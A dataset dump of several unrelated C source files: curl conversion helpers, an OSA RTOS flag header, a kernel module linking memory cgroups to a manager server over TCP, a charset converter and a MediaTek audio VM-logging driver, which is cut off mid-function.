return (int)(slnum & (long)CURL_MASK_SINT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** signed long to unsigned int
*/
unsigned int curlx_sltoui(long slnum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(slnum >= 0);
#if (SIZEOF_INT < SIZEOF_LONG)
DEBUGASSERT((unsigned long)slnum <= (unsigned long)CURL_MASK_UINT);
#endif
return (unsigned int)(slnum & (long)CURL_MASK_UINT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** signed long to unsigned short
*/
unsigned short curlx_sltous(long slnum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(slnum >= 0);
DEBUGASSERT((unsigned long)slnum <= (unsigned long)CURL_MASK_USHORT);
return (unsigned short)(slnum & (long)CURL_MASK_USHORT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned size_t to signed ssize_t
*/
ssize_t curlx_uztosz(size_t uznum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(uznum <= (size_t)CURL_MASK_SSIZE_T);
return (ssize_t)(uznum & (size_t)CURL_MASK_SSIZE_T);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** signed curl_off_t to unsigned size_t
*/
size_t curlx_sotouz(curl_off_t sonum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(sonum >= 0);
return (size_t)(sonum & (curl_off_t)CURL_MASK_USIZE_T);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** signed ssize_t to signed int
*/
int curlx_sztosi(ssize_t sznum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(sznum >= 0);
#if (SIZEOF_INT < SIZEOF_SIZE_T)
DEBUGASSERT((size_t)sznum <= (size_t)CURL_MASK_SINT);
#endif
return (int)(sznum & (ssize_t)CURL_MASK_SINT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned int to unsigned short
*/
unsigned short curlx_uitous(unsigned int uinum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(uinum <= (unsigned int)CURL_MASK_USHORT);
return (unsigned short)(uinum & (unsigned int)CURL_MASK_USHORT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** signed int to unsigned size_t
*/
size_t curlx_sitouz(int sinum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(sinum >= 0);
return (size_t)sinum;
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
#ifdef USE_WINSOCK
/*
** curl_socket_t to signed int
*/
int curlx_sktosi(curl_socket_t s)
{
return (int)((ssize_t)s);
}
/*
** signed int to curl_socket_t
*/
curl_socket_t curlx_sitosk(int i)
{
return (curl_socket_t)((ssize_t)i);
}
#endif /* USE_WINSOCK */
#if defined(WIN32) || defined(_WIN32)
ssize_t curlx_read(int fd, void* buf, size_t count)
{
return (ssize_t)read(fd, buf, curlx_uztoui(count));
}
ssize_t curlx_write(int fd, const void* buf, size_t count)
{
return (ssize_t)write(fd, buf, curlx_uztoui(count));
}
#endif /* WIN32 || _WIN32 */
#if defined(__INTEL_COMPILER) && defined(__unix__)
int curlx_FD_ISSET(int fd, fd_set* fdset)
{
#pragma warning(push)
#pragma warning(disable : 1469) /* clobber ignored */
return FD_ISSET(fd, fdset);
#pragma warning(pop)
}
void curlx_FD_SET(int fd, fd_set* fdset)
{
#pragma warning(push)
#pragma warning(disable : 1469) /* clobber ignored */
FD_SET(fd, fdset);
#pragma warning(pop)
}
void curlx_FD_ZERO(fd_set* fdset)
{
#pragma warning(push)
#pragma warning(disable : 593) /* variable was set but never used */
FD_ZERO(fdset);
#pragma warning(pop)
}
unsigned short curlx_htons(unsigned short usnum)
{
#if (__INTEL_COMPILER == 910) && defined(__i386__)
return (unsigned short)(((usnum << 8) & 0xFF00) | ((usnum >> 8) & 0x00FF));
#else
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
return htons(usnum);
#pragma warning(pop)
#endif
}
unsigned short curlx_ntohs(unsigned short usnum)
{
#if (__INTEL_COMPILER == 910) && defined(__i386__)
return (unsigned short)(((usnum << 8) & 0xFF00) | ((usnum >> 8) & 0x00FF));
#else
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
return ntohs(usnum);
#pragma warning(pop)
#endif
}
#endif /* __INTEL_COMPILER && __unix__ */
| [
"hhiren111111@gmail.com"
] | hhiren111111@gmail.com |
343bf46ab01154dd0d7c91d40ee840861e005c94 | e028013b5dfe8262af326be861b344e36752b4a3 | /LD130_FW/osa/kernel/events/osa_flag.h | 6d22b6812cfa958cc1194d6071e1d6940b7e5579 | [] | no_license | HappyHunter/LD130 | 3a769300e331213da8a64d341e30269dd0afb961 | 60a2a25c4f4388915814f59d9c47930b39f4d10d | refs/heads/master | 2019-01-02T04:34:29.521971 | 2011-08-15T12:37:30 | 2011-08-15T12:37:30 | 1,172,890 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 8,535 | h | /*
************************************************************************************************
*
* OSA cooperative RTOS for microcontrollers PIC, AVR and STM8
*
* OSA is distributed under BSD license (see license.txt)
*
* URL: http://wiki.pic24.ru/doku.php/en/osa/ref/intro
*
*----------------------------------------------------------------------------------------------
*
* File: osa_flag.h
*
* Programmer: Timofeev Victor
* osa@pic24.ru, testerplus@mail.ru
*
* Description: Services for flags
* This file directly included in osa.h
*
* History: 15.09.2010 - File updated
*
************************************************************************************************
*/
/************************************************************************************************/
/* */
/* F L A G S */
/* */
/************************************************************************************************/
//******************************************************************************
// VARIABLES
//******************************************************************************
//******************************************************************************
// FUNCTION PROTOTYPES
//******************************************************************************
//******************************************************************************
// MACROS
//******************************************************************************
#if defined(OS_ENABLE_INT_FLAG)
#define __OS_FLAG_DI() _OS_DI_INT()
#define __OS_FLAG_RI() _OS_RI_INT()
#else
#define __OS_FLAG_DI()
#define __OS_FLAG_RI()
#endif
//------------------------------------------------------------------------------
#define OS_FLAG_ATOMIC_WRITE_A(expr) \
OSM_BEGIN { \
__OS_FLAG_DI(); \
expr; \
__OS_FLAG_RI(); \
} OSM_END
//------------------------------------------------------------------------------
// Create flags and clear all bits
#define OS_Flag_Create(flags) flags = 0
// Set flags to given value
#define OS_Flag_Init(flags, value) flags = value
// Set bits in flag by given mask
#define OS_Flag_Set(flags, mask) OS_FLAG_ATOMIC_WRITE_A(flags |= mask)
// Clear bits in flag by given mask
#define OS_Flag_Clear(flags, mask) OS_FLAG_ATOMIC_WRITE_A(flags &= ~(mask))
// Check for all bits in flag are set by given mask
#define OS_Flag_Check_AllOn(flags, mask) (((flags) & (mask))==(mask))
// Check for any bit in flag is set by given mask
#define OS_Flag_Check_On(flags, mask) ((flags) & (mask))
// Check for bits in flag are cleared by given mask
#define OS_Flag_Check_AllOff(flags, mask) (((flags) & (mask)) == 0)
// Check for any bit in flag is cleared by given mask
#define OS_Flag_Check_Off(flags, mask) (((flags) & (mask)) != (mask))
// Wait for all bits in flags are set by given mask
#define OS_Flag_Wait_AllOn(flags, mask) \
{ \
OS_Wait(OS_Flag_Check_AllOn(flags, mask)); \
}
// Wait for any bit in flags is set by given mask
#define OS_Flag_Wait_On(flags, mask) \
{ \
OS_Wait(OS_Flag_Check_On(flags, mask)); \
}
// Wait for all bits in flags are set by given mask. Exit if timeout expired.
#define OS_Flag_Wait_AllOn_TO(flags, mask, timeout) \
{ \
OS_Wait_TO(OS_Flag_Check_AllOn(flags, mask), timeout); \
}
// Wait for any bit in flags is set by given mask. Exit if timeout expired.
#define OS_Flag_Wait_On_TO(flags, mask, timeout) \
{ \
OS_Wait_TO(OS_Flag_Check_On(flags, mask), timeout); \
}
// Wait for all bits in flag are cleared by given mask
#define OS_Flag_Wait_AllOff(flags, mask) \
{ \
OS_Wait(OS_Flag_Check_AllOff(flags, mask)); \
}
// Wait for any bit in flag is cleared by given mask
#define OS_Flag_Wait_Off(flags, mask) \
{ \
OS_Wait(OS_Flag_Check_Off(flags, mask)); \
}
// Wait for all bits in flag are cleared by given mask. Exit if timeout expired.
#define OS_Flag_Wait_AllOff_TO(flags, mask, timeout) \
{ \
OS_Wait_TO(OS_Flag_Check_AllOff(flags, mask), timeout); \
}
// Wait for any bit in flag is cleared by given mask. Exit if timeout expired.
#define OS_Flag_Wait_Off_TO(flags, mask, timeout) \
{ \
OS_Wait_TO(OS_Flag_Check_Off(flags, mask), timeout);\
}
#if defined(OS_ENABLE_INT_FLAG)
#define OS_Flag_Set_I(flags, mask) flags |= mask
#define OS_Flag_Clear_I(flags, mask) flags &= ~(mask)
#define OS_Flag_Check_AllOn_I(flags, mask) (((flags) & (mask))==(mask))
#define OS_Flag_Check_On_I(flags, mask) ((flags) & (mask))
#define OS_Flag_Check_AllOff_I(flags, mask) (((flags) & (mask)) == 0)
#define OS_Flag_Check_Off_I(flags, mask) (((flags) & (mask)) != (mask))
#define OS_Flag_Init_I(flags, value) flags = value
#endif
//******************************************************************************
// Old names
//******************************************************************************
#define OS_Flag_Set_1(flags, mask) OS_FLAG_ATOMIC_WRITE_A(flags |= mask)
#define OS_Flag_Set_0(flags, mask) OS_FLAG_ATOMIC_WRITE_A(flags &= ~(mask))
#define OS_Flag_Check_11(flags, mask) (((flags) & (mask))==(mask))
#define OS_Flag_Check_1x(flags, mask) ((flags) & (mask))
#define OS_Flag_Check_00(flags, mask) (((flags) & (mask)) == 0)
#define OS_Flag_Check_0x(flags, mask) (((flags) & (mask)) != (mask))
#define OS_Flag_Set_1_I(flags, mask) OS_Flag_Set_1(flags, mask)
#define OS_Flag_Set_0_I(flags, mask) OS_Flag_Set_0(flags, mask)
#define OS_Flag_Check_11_I(flags, mask) OS_Flag_Check_11(flags, mask)
#define OS_Flag_Check_1x_I(flags, mask) OS_Flag_Check_1x(flags, mask)
#define OS_Flag_Check_00_I(flags, mask) OS_Flag_Check_00(flags, mask)
#define OS_Flag_Check_0x_I(flags, mask) OS_Flag_Check_0x(flags, mask)
#define OS_Flag_Wait_11(flags, mask) OS_Flag_Wait_AllOn(flags, mask)
#define OS_Flag_Wait_00(flags, mask) OS_Flag_Wait_AllOff(flags, mask)
#define OS_Flag_Wait_1x(flags, mask) OS_Flag_Wait_On(flags, mask)
#define OS_Flag_Wait_0x(flags, mask) OS_Flag_Wait_Off(flags, mask)
#define OS_Flag_Wait_11_TO(flags, mask, timeout) OS_Flag_Wait_AllOn_TO(flags, mask, timeout)
#define OS_Flag_Wait_00_TO(flags, mask, timeout) OS_Flag_Wait_AllOff_TO(flags, mask, timeout)
#define OS_Flag_Wait_1x_TO(flags, mask, timeout) OS_Flag_Wait_On_TO(flags, mask, timeout)
#define OS_Flag_Wait_0x_TO(flags, mask, timeout) OS_Flag_Wait_Off_TO(flags, mask, timeout)
//******************************************************************************
// END OF FILE osa_flag.h
//******************************************************************************
| [
"afilenkov@gmail.com"
] | afilenkov@gmail.com |
d9b126c8ba384178da1181880c4869a077093799 | bd8c909bc64f24cbd0ac9ddd70db513279732bba | /socket_connection/cgroup_connection.c | eb5d131fe7354f0f3f78a46771c3405ac214bc20 | [] | no_license | Maziyar-Na/ElasticContainers | 87fbf926d9a90a3000a5c83c682d977634a4455e | 1ae14bcc204522cf926fb71a3b3d4059dbc10310 | refs/heads/master | 2020-06-26T20:18:23.110753 | 2019-11-13T02:17:51 | 2019-11-13T02:17:51 | 199,744,919 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,527 | c | #include "cgroup_connection.h"
int tcp_send(struct socket* sock, const char* buff, const size_t length, unsigned long flags){
struct msghdr msg;
struct kvec vec;
int len, written = 0, left = length;
mm_segment_t oldmm;
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = flags;
oldmm = get_fs();
set_fs(KERNEL_DS);
repeat_send:
vec.iov_len = left;
vec.iov_base = (char*) buff + written;
len = kernel_sendmsg(sock, &msg, &vec, left, left);
if((len == -ERESTARTSYS) || (!(flags && MSG_DONTWAIT)&&(len == -EAGAIN)))
goto repeat_send;
if(len > 0){
written += len;
left -= len;
if(left)
goto repeat_send;
}
set_fs(oldmm);
return written == length?0 : len;
}
int tcp_rcv(struct socket* sock, char* str, int length, unsigned long flags){
struct msghdr msg;
struct kvec vec;
int len;
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = flags;
vec.iov_len = length;
vec.iov_base = str;
read_again:
len = kernel_recvmsg(sock, &msg, &vec, length, length, flags);
if (len == -EAGAIN || len == -ERESTARTSYS){
printk(KERN_INFO"[EC EROOR] Elastic Container encountered an error while reading from socket!\n");
goto read_again;
}
return len == length ? 0:len;
}
int ec_connect(char* GCM_ip, int GCM_port, int pid) {
struct socket* sockfd_cli = NULL;
struct ec_connection* _ec_c;
struct sockaddr_in saddr;
struct pid* task_in_cg_pid; //pid data structure for task in cgroup
struct task_struct* tsk_in_cg; //task_struct for the task in cgroup
struct mem_cgroup* memcg;
int ret;
char buf[50] = "Hi I am an EC client!";
int valread = -1;
task_in_cg_pid = find_get_pid(pid);
if(!task_in_cg_pid)
return __BADARG;
tsk_in_cg = pid_task(task_in_cg_pid, PIDTYPE_PID);
if(!tsk_in_cg)
return __BADARG;
memcg = mem_cgroup_from_task(tsk_in_cg);
if(!memcg)
return __BADARG;
if(!GCM_ip || !GCM_port) {
printk(KERN_ALERT"[ERROR] GCM IP or Port is incorrect!\n");
return __BADARG;
}
ret = -1;
ret = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, &sockfd_cli);
if(ret < 0){
printk(KERN_ALERT"[ERROR] Socket creation failed!\n");
return ret;
}
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(GCM_port);
saddr.sin_addr.s_addr = in_aton(GCM_ip);
ret = sockfd_cli -> ops -> connect(sockfd_cli, (struct sockaddr*) &saddr, sizeof(saddr), O_RDWR);
if(ret && (ret != -EINPROGRESS)){
printk(KERN_ALERT"[ERROR] Server connection failed!\n");
return ret;
}
_ec_c = (struct ec_connection*)kmalloc(sizeof(struct ec_connection), GFP_KERNEL);
_ec_c -> write = &tcp_send;
_ec_c -> read = &tcp_rcv;
_ec_c -> ec_cli = sockfd_cli;
printk(KERN_INFO"[Success] connection established to the server!\n");
tcp_send(sockfd_cli, buf, 50, MSG_DONTWAIT);
valread = tcp_rcv(sockfd_cli, buf, 50, 0);
printk(KERN_INFO"[Success] Message bytes received from the server is: %d\n ", valread);
memcg -> ecc = _ec_c;
printk(KERN_INFO"[Success] mem_cgroup connection initialized!\n");
return 0;
}
static int __init ec_connection_init(void){
ec_connect_ = &ec_connect;
printk(KERN_INFO"[Elastic Container Log] Kernel module initialized!\n");
return 0;
}
static void __exit ec_connection_exit(void){
printk(KERN_INFO"[Elastic Container Log] Kernel module has been removed!\n");
}
module_init(ec_connection_init);
module_exit(ec_connection_exit);
| [
"maziyar.nazary@gmail.com"
] | maziyar.nazary@gmail.com |
27b81367856ef7f8766f6680c94e8510c396891a | 976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f | /source/reactos/sdk/tools/hhpcomp/lzx_compress/extr_lz_nonslide.c_lz_reset.c | 95b60fddb17f805fc86a6664e251947772fffae5 | [] | no_license | isabella232/AnghaBench | 7ba90823cf8c0dd25a803d1688500eec91d1cf4e | 9a5f60cdc907a0475090eef45e5be43392c25132 | refs/heads/master | 2023-04-20T09:05:33.024569 | 2021-05-07T18:36:26 | 2021-05-07T18:36:26 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 834 | c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_3__ TYPE_1__ ;
/* Type definitions */
struct TYPE_3__ {int chars_in_buf; int block_loc; int block_buf; scalar_t__ analysis_valid; } ;
typedef TYPE_1__ lz_info ;
/* Variables and functions */
int /*<<< orphan*/ memmove (int,int,int) ;
void lz_reset(lz_info *lzi)
{
int residual = lzi->chars_in_buf - lzi->block_loc;
memmove(lzi->block_buf, lzi->block_buf + lzi->block_loc, residual);
lzi->chars_in_buf = residual;
lzi->block_loc = 0;
lzi->analysis_valid = 0;
} | [
"brenocfg@gmail.com"
] | brenocfg@gmail.com |
abc7b66c196de87635f8916ca86cb2bc8d370384 | d223bc26a57396c5d3a5060fb1086bd9e738279c | /charconvert.c | 3c414b6a3c0fd43e43f309224af7772aded048b7 | [] | no_license | huqianjie/cLib | f7d12151f729f9cd44fe15c08116829fd7cea3d4 | 364e72d6890bdb4c392cd91ffc9f9b4c7b8a41f1 | refs/heads/master | 2021-01-10T10:12:09.888532 | 2016-01-29T07:06:33 | 2016-01-29T07:06:33 | 50,644,479 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,052 | c | /**
******************************************************************************
* @file charconvert.c
* @author Dragon.Chen
* @version V1.0.0
* @date 07-22-2013
* @brief 字符编码相互转化
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2013 上海今中网络科技有限公司 </center></h2>
******************************************************************************
*/
#include "charconvert.h"
/**
* @brief 从一种编码转为另一种编码
* @param arg1:原字符编码
arg2:转换成的字符编码
arg3:待转换字符
arg4:带转换字符个数
arg5:转换的字符
arg6:剩余的字符个数
* @retval 0:转换成功 1：转换失败
*/
int code_convert(char *from_charset, char *to_charset, char *inbuf, size_t inlen, char *outbuf, size_t outlen)
{
iconv_t cd;
char **pin = &inbuf;
char **pout = &outbuf;
cd = iconv_open(to_charset, from_charset);
if (iconv(cd, pin, &inlen, pout, &outlen) == -1)
return 1;
iconv_close(cd) ;
return 0;
}
/**
* @brief UTF8转GB2312
* @param arg1:待转换字符
arg2:带转换字符个数
arg3:转换的字符
arg4:剩余的字符个数
* @retval 0:转换成功 1：转换失败
*/
int UTF8_to_GB2312(char *inbuf, size_t inlen, char *outbuf, size_t outlen)
{
return code_convert("UTF-8", "GB2312", inbuf, inlen ,outbuf , outlen);
}
/**
* @brief GB2312转UTF8
* @param arg1:待转换字符
arg2:带转换字符个数
arg3:转换的字符
arg4:剩余的字符个数
* @retval 0:转换成功 1：转换失败
*/
int GB2312_to_UTF8(char *inbuf, size_t inlen, char *outbuf, size_t outlen)
{
return code_convert("GB2312", "UTF-8", inbuf, inlen, outbuf, outlen);
}
/******************* (C) COPYRIGHT 2013 上海今中网络科技有限公司 *****END OF FILE****/
| [
"jz_network@sina.com"
] | jz_network@sina.com |
42e89fa8ec041f973c939ce362cf9fca01fd02cf | 7e159c01bcb4c1c5de9eb70567b718918a86e01f | /SDK_V4.3.0/driver/chip/mt2523/src/hal_audio_internal_vm.c | 7065c3a9ffedd242ba6f7e6213076e83e3065c75 | [] | no_license | gentoos163/MTK-IOT | 122d7c21de66ed3506a1d529f0dc4cb9c395ac39 | 7424e28a49f87ab07f432dcaf1ecf6dddbcf8b0c | refs/heads/master | 2022-04-13T05:39:25.754624 | 2017-12-25T07:38:38 | 2017-12-25T07:46:22 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 16,868 | c | /* Copyright Statement:
*
* (C) 2005-2016 MediaTek Inc. All rights reserved.
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. ("MediaTek") and/or its licensors.
* Without the prior written permission of MediaTek and/or its licensors,
* any reproduction, modification, use or disclosure of MediaTek Software,
* and information contained herein, in whole or in part, shall be strictly prohibited.
* You may only use, reproduce, modify, or distribute (as applicable) MediaTek Software
* if you have agreed to and been bound by the applicable license agreement with
* MediaTek ("License Agreement") and been granted explicit permission to do so within
* the License Agreement ("Permitted User"). If you are not a Permitted User,
* please cease any access or use of MediaTek Software immediately.
* BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
* THAT MEDIATEK SOFTWARE RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES
* ARE PROVIDED TO RECEIVER ON AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL
* WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT.
* NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE
* SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR
* SUPPLIED WITH MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH
* THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES
* THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES
* CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK
* SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
* STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND
* CUMULATIVE LIABILITY WITH RESPECT TO MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE,
* AT MEDIATEK'S OPTION, TO REVISE OR REPLACE MEDIATEK SOFTWARE AT ISSUE,
* OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO
* MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
*/
#include "hal_platform.h"
#if defined(HAL_I2S_MODULE_ENABLED) || defined(HAL_AUDIO_MODULE_ENABLED)
#if defined(MTK_VM_LOG_ENABLE)
#include "hal_audio_fw_sherif.h"
#include "hal_audio_internal_afe.h"
#include "hal_audio_internal_vm.h"
#include "assert.h"
#include <string.h>
epl_frame_t eplfrm_t;
vm_frame_t vmfrm_t;
static uint16_t vmCodecBuf[VM_BUFFER_SIZE];
static uint16_t eplInputBuf[FIVE_PCM_SAVE_SIZE];
#if VM_WRITE_TO_FILE
#include "ff.h"
FATFS vm_fatfs;
FIL vm_file_handle;
#endif
uint8_t vm_counter;
static struct {
uint16_t control; /* control word for FR/HR/EFR */
uint16_t control_1;
uint16_t control_2;
uint16_t *vmBuf; /* point to buffer for VM */
uint16_t *pcmBuf; /* point to buffer for PCM data */
uint16_t debug_info; /* 0 : vm (speech codec data) only */
/* b1 : record 1st set of UL-DL PCM buffer for SPE */
/* b2 : record 2nd set of UL-DL PCM buffer for SPE */
uint8_t state;
uint8_t vm_lost;
uint8_t vm_lost_count;
uint8_t pcm_lost_count;
uint8_t sc_mode;
uint8_t sd_mode;
bool isVmLOn; // only use under call AM_IsSpeechOn()
uint32_t pcm_save_size; // EPL PCM buffer size
} vm;
static const uint8_t speech_pattern_length[] = {
(uint8_t)((260 + 15) / 16), /* FR */
(uint8_t)((112 + 15) / 16 + 1), /* HR */
(uint8_t)((244 + 15) / 16), /* EFR */
(uint8_t)((244 + 15) / 16), /* AMR 12.2K */
(uint8_t)((204 + 15) / 16), /* AMR 10.2K */
(uint8_t)((159 + 15) / 16), /* AMR 7.95K */
(uint8_t)((148 + 15) / 16), /* AMR 7.4K */
(uint8_t)((134 + 15) / 16), /* AMR 6.7K */
(uint8_t)((118 + 15) / 16), /* AMR 5.9K */
(uint8_t)((103 + 15) / 16), /* AMR 5.15K */
(uint8_t)((95 + 15) / 16), /* AMR 4.75K */
(uint8_t)((132 + 15) / 16), /* AMR-WB 6.60 */
(uint8_t)((177 + 15) / 16), /* AMR-WB 8.85 */
(uint8_t)((253 + 15) / 16), /* AMR-WB 12.65 */
(uint8_t)((285 + 15) / 16), /* AMR-WB 14.25 */
(uint8_t)((317 + 15) / 16), /* AMR-WB 15.85 */
(uint8_t)((365 + 15) / 16), /* AMR-WB 18.25 */
(uint8_t)((397 + 15) / 16), /* AMR-WB 19.85 */
(uint8_t)((461 + 15) / 16), /* AMR-WB 23.05 */
(uint8_t)((477 + 15) / 16), /* AMR-WB 23.85 */
};
static uint16_t vm_get_speech_pattern_length(uint8_t speech_mode)
{
if (speech_mode >= 0x20) {
speech_mode = speech_mode - 0x20 + 0x0B;
}
if (speech_mode < (sizeof(speech_pattern_length) / sizeof(speech_pattern_length[0]))) {
return (uint16_t)speech_pattern_length[speech_mode];
} else {
return 0;
}
}
#define AA88_GET_VM_LENGTH(vmctrl_1, vmctrl_2) vm_get_speech_pattern_length((vmctrl_1>> 1) & 0x3F) \
+ ((vmctrl_2 & 1)?(vm_get_speech_pattern_length((vmctrl_2 >> 1) & 0x3F)):0) + 7
static bool vm_write_to_file(uint32_t len, uint16_t *pBuf)
{
#if VM_WRITE_TO_FILE
UINT written;
uint8_t *tempPtr;
FRESULT result;
len = len * sizeof(uint16_t);
written = 0;
tempPtr = (uint8_t *)(pBuf);
while (len > 0) {
result = f_write(&vm_file_handle, tempPtr + written, len, &written);
if (FR_OK != result) {
return false;
}
tempPtr += written;
len = len - written;
}
#endif
return true;
}
static void vm_get_frame(uint8_t rat, vm_frame_t *vmfrm)
{
vmfrm->enc_mode = *DSP_SPH_Encoder_Used_Mode;
vmfrm->dec_mode = *DSP_SPH_Decoder_Used_Mode;
vmfrm->dbgInfo_addr = DSP_SPH_VM_DBG_INFO;
if (rat == 0) {
// 2g
vmfrm->enc_hdr = *DSP_SPH_2G_SE_DATA_HDR;
vmfrm->enc_hb_addr = DSP_SPH_2G_SE_DATA_HB;
vmfrm->dec_hdr = *DSP_SPH_2G_SD_DATA_HDR;
vmfrm->dec_hb_addr = DSP_SPH_2G_SD_DATA_HB;
} else if (rat == 1) {
// 3g
vmfrm->enc_hdr = *DSP_SPH_3G_SE_DATA_HDR;
vmfrm->enc_hb_addr = DSP_SPH_3G_SE_DATA_HB;
vmfrm->dec_hdr = *DSP_SPH_3G_SD_DATA_HDR;
vmfrm->dec_hb_addr = DSP_SPH_3G_SD_DATA_HB;
}
vmfrm->enh_dbgInfo_addr = 0; //DSP_DM_ADDR(6, *DSP_SPH_ENH_DEBUG_ADDR);
return;
}
static void audio_vm_record_hisr(void *param)
{
volatile uint16_t *addr;
uint16_t sc_mode, sd_mode, sc_len, sd_len;
uint16_t *vmBuf;
uint32_t I, J;
if (vm.state != VM_STATE_RECORD) {
return;
}
vmBuf = vm.vmBuf;
if (vmBuf[0] == VM_MAGIC_HEADER) {
// Already buffer VM
I = (uint16_t)(vmBuf[1] >> 3)
+ AA88_GET_VM_LENGTH(vm.control_1, vm.control_2);
// + vm_get_speech_pattern_length((vmBuf[5]>> 1) & 0x3F)
// + ((vm.control_2 & 1)?(vm_get_speech_pattern_length((vmBuf[6] >> 1) & 0x3F)):0)
// + 7; // vm header len
// write
if (false == vm_write_to_file(I, vm.vmBuf)) {
vm.vm_lost_count ++;
} else {
vm.vm_lost_count = 0;
}
vm.vmBuf[0] = 0;
vm.vmBuf[1] = 0;
vm.vmBuf[2] = 0;
}
// begin put information to vmBuf
vmBuf = vm.vmBuf;
*vmBuf = VM_MAGIC_HEADER;
vmBuf++;
J = 0;
*vmBuf = ((uint16_t)(((VM_DBGINFO_LEN + VM_ENH_DBGINFO_LEN + VM_DRV_DBGINFO_LEN) << 3) | J));
vmBuf++;
*vmBuf = VM_VM_RECORD_FLAG;
vmBuf++;
hal_gpt_get_free_run_count(HAL_GPT_CLOCK_SOURCE_1M, &J);
J = (J >> 10); // i.e. j= j/1024 around ms
*vmBuf = ((uint16_t)(J & 0xFFFF));
vmBuf++;
*vmBuf = ((uint16_t)((J >> 16) + ((uint32_t)vm_counter << 8)));
vmBuf++;
vm_counter++;
// ======= end ======
vm_get_frame(0, &vmfrm_t);
sc_mode = vmfrm_t.enc_mode;
sd_mode = vmfrm_t.dec_mode;
assert((sc_len = vm_get_speech_pattern_length(sc_mode)) > 0);
assert((sd_len = vm_get_speech_pattern_length(sd_mode)) > 0);
vm.control_1 = (sc_mode << 1) | (vm.control_1 & 1);
vm.control_2 = (sd_mode << 1) | (vm.control_2 & 1);
if (sc_mode > 2) {
// I = vmfrm_t.enc_hdr & 3;//bit0, bit1
vm.control_1 = vm.control_1 | ((vmfrm_t.enc_hdr & 3) << 7); //Tx
} else {
// I = (vmfrm_t.enc_hdr & 2);//sp_flag
vm.control_1 = vm.control_1 | ((vmfrm_t.enc_hdr & 2) << 10);
//add 3G_Mode here, where is dsp's 3g mode indicator
}
if (sd_mode > 2) {
// I = (vmfrm_t.dec_hdr & 0xe) >> 1;//bit1, bit2, bit3
vm.control_2 = vm.control_2 | (((vmfrm_t.dec_hdr & 0xe) >> 1) << 7); // Rx
} else {
// I = (vmfrm_t.dec_hdr & 0x3E);
vm.control_2 = vm.control_2 | ((vmfrm_t.dec_hdr & 0x3E) << 10);
}
*vmBuf++ = vm.control_1;
*vmBuf++ = vm.control_2;
if (vm.control_1 & 1) {
